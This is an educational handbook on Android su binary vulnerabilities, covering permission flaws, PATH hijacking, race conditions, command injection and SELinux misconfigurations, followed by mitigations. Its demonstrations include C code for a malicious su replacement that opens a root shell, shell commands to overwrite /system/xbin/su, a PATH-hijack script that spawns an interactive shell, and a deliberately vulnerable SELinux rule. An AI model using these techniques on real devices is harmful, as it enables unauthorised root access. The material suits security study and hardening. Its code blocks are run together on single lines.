Introduction: The Gateway to Android Root

Android’s security model is built upon a robust permission system, where applications run in isolated sandboxes with limited privileges. However, the allure of unrestricted access—rooting—remains strong for power users and developers. At the heart of most rooting solutions lies the su binary, a critical component responsible for elevating user privileges to the superuser (root) level. While indispensable for legitimate root operations, flaws in its implementation or surrounding system configuration can open doors for malicious privilege escalation, turning a seemingly secure device into a vulnerable target.

This handbook delves into the intricacies of su binary vulnerabilities, exploring common exploit patterns, practical demonstration techniques, and essential mitigation strategies. Understanding these flaws is crucial for both device manufacturers in securing their builds and for security researchers in identifying potential attack vectors.

Understanding the `su` Binary and Root Context

What is `su`?

The su (substitute user) command is a standard Unix utility that allows a user to run commands with the privileges of another user. On Android, when a device is ‘rooted’, a special version of the su binary is installed, typically in a system path like /system/xbin/su or /sbin/su. This binary is endowed with the setuid (set user ID) bit, meaning that when it is executed by any user, it runs with the effective user ID of its owner, which is usually `root` (UID 0).

-rwsr-sr-x root     root       1048576 2023-10-26 10:00 su

The `s` in the permission string (rws) indicates the setuid bit is active. When a user runs su, it typically interacts with a root management application (like Magisk or SuperSU) to prompt the user for permission before granting a root shell or executing a command as root.

Common `su` Vulnerability Patterns

Exploits targeting the su binary or its ecosystem often stem from fundamental security misconfigurations or programming errors. Here are some prevalent patterns:

1. Improper File Permissions and Ownership

The most straightforward vulnerability arises when the su binary itself, or crucial files/directories it interacts with, have lax permissions. For instance, if /system/xbin/su were world-writable, any unprivileged app could overwrite it with a malicious binary.

2. Path Hijacking (Environment Variable Manipulation)

If the su binary, or a helper script it executes, calls other binaries without specifying their full path (e.g., ls instead of /system/bin/ls), an attacker can manipulate the PATH environment variable. By placing a malicious executable with the same name (e.g., `ls`) earlier in the PATH, an attacker can trick su into executing their code with root privileges.

3. Race Conditions (TOCTOU)

Time-of-Check to Time-of-Use (TOCTOU) vulnerabilities occur when a security-critical check (e.g., file ownership, existence) is performed, but the conditions change before the actual operation takes place. For example, if su checks the ownership of a temporary file, and an attacker quickly swaps it with a malicious one before su uses it, a privilege escalation might occur.

4. Input Validation Flaws / Command Injection

Should the su binary or a helper script accept user-controlled input without proper sanitization, it could be vulnerable to command injection. This allows an attacker to inject arbitrary commands to be executed with root privileges.

5. SELinux Policy Misconfigurations

SELinux (Security-Enhanced Linux) provides mandatory access control, adding an extra layer of security beyond traditional Unix permissions. A misconfigured SELinux policy, especially one that grants overly broad permissions to the su domain or allows transitions to untrusted domains, can be a major avenue for exploitation, even if file permissions seem correct.

Exploitation Techniques and Demonstrations

Let’s consider hypothetical scenarios to illustrate these vulnerabilities. These examples are for educational purposes and assume a vulnerable environment.

Demonstration 1: Exploiting World-Writable `su` (Hypothetical)

This is a highly critical flaw, rarely found in modern Android, but serves as a foundational example. If the `su` binary itself were writable by non-root users:

$ adb shell$ ls -l /system/xbin/su # Check permissions. Ideally: -rwsr-sr-x root root$ chmod 777 /system/xbin/su # If this command *could* succeed as a non-root user (critical flaw)$ # Attacker's malicious C code (malicious_su.c) to gain root shell:int main() {    setuid(0);    setgid(0);    execl("/system/bin/sh", "sh", NULL);    return 0;}# Compile and push from ADB host:$ arm-linux-androideabi-gcc malicious_su.c -o malicious_su$ adb push malicious_su /data/local/tmp/$ adb shell$ cp /data/local/tmp/malicious_su /system/xbin/su # Overwrite the vulnerable su$ su # Now executing malicious_su, which grants root shell# Expected outcome: You would immediately get a root shell without prompt.

This scenario highlights the absolute necessity of strict permissions on the su binary itself. Modern `su` implementations guard against this fiercely.

Demonstration 2: Path Hijacking via Helper Scripts

Imagine a scenario where the `su` binary, before dropping privileges or executing the final command, temporarily executes a common utility like `id` without a full path, e.g., system("id").

An attacker could create their own `id` executable:

$ adb shell$ cd /data/local/tmp$ echo '#!/system/bin/sh' > id$ echo '/system/bin/id' >> id$ echo '/system/bin/sh -i' >> id # Inject a root shell command$ chmod 755 id$ export PATH=/data/local/tmp:$PATH # Prepend attacker's path$ su -c 'some_command_that_triggers_path_hijack' # Attempt to trigger the vulnerability

If `su` or its internal scripts execute `id` from the manipulated `PATH`, the attacker’s `id` script would run, granting a root shell. This vulnerability hinges on how `su` or its associated helper services resolve and execute external commands.

Demonstration 3: SELinux Context Escalation

SELinux defines strict rules on how processes can interact. A common vulnerability might involve a service that `su` trusts, having an overly permissive SELinux context transition.

Consider a hypothetical `su` helper daemon, `supersvc_daemon`, which runs with a privileged SELinux context (`u:r:supersvc:s0`). If this daemon also processes user-controlled input or executes commands, and its SELinux policy allows it to transition to `init_t` or other privileged domains, an attacker could exploit it.

Example SELinux policy snippet (vulnerable):

# Potentially vulnerable SELinux ruleallow supersvc_daemon untrusted_app_t:process transition;allow supersvc_daemon init_t:process { transition dyntransition };

If supersvc_daemon (running as root in `supersvc_daemon_t` context) can be tricked into launching an untrusted application which then immediately transitions to `init_t` or `system_app_t` due to a misconfigured policy, it would bypass intended security boundaries. Exploiting this requires a deep understanding of the specific device’s SELinux policy and process interactions.

Mitigation and Best Practices

Preventing su-related vulnerabilities requires a multi-faceted approach:

For Device Manufacturers and AOSP Contributors:

1. Principle of Least Privilege: Ensure the `su` binary and its associated components operate with the absolute minimum necessary permissions.
2. Strict File Permissions: The `su` binary and its configuration files must have immutable and strictly controlled permissions (e.g., `0755` for `su`, owned by `root:root`, with the setuid bit). No world-writable components.
3. Secure Coding Practices: Implement robust input validation for any user-supplied data. Avoid `system()` calls or external command execution without full path qualification and careful argument sanitization.
4. Robust SELinux Policies: Craft highly restrictive SELinux policies for the `su` domain and any helper services. Prevent unauthorized domain transitions, overly broad file access, and arbitrary execution.
5. Avoid Environment Variable Abuse: Always use full paths for binaries executed by privileged processes. Explicitly clear or reset `PATH` and other environment variables before executing commands.
6. Race Condition Prevention: Use atomic file operations where possible. Implement robust locking mechanisms or perform checks and operations within a single, uninterruptible context for critical resources.

For Users and Security Researchers:

1. Use Trusted Root Solutions: Stick to well-vetted and actively maintained rooting solutions like Magisk, which prioritize security and receive regular updates.
2. Keep Systems Updated: Apply security patches from your device manufacturer or custom ROM developers diligently. These often address underlying system vulnerabilities that could be leveraged for escalation.
3. Be Wary of Unknown Binaries: Never install `su` binaries or rooting tools from untrusted sources.
4. Audit Permissions: Periodically check critical system file permissions, especially for `su` and related binaries, using tools like `ls -l`.

Conclusion

The `su` binary is a powerful tool, essential for the flexibility and control that Android rooting offers. However, with great power comes great responsibility in its implementation. Flaws in its permissions, interaction with the environment, handling of inputs, or integration with SELinux can transform it from a utility into a critical security vulnerability. By understanding these common pitfalls and adopting rigorous security practices, both developers and users can contribute to a more secure Android ecosystem, ensuring that the gateway to root remains under legitimate control.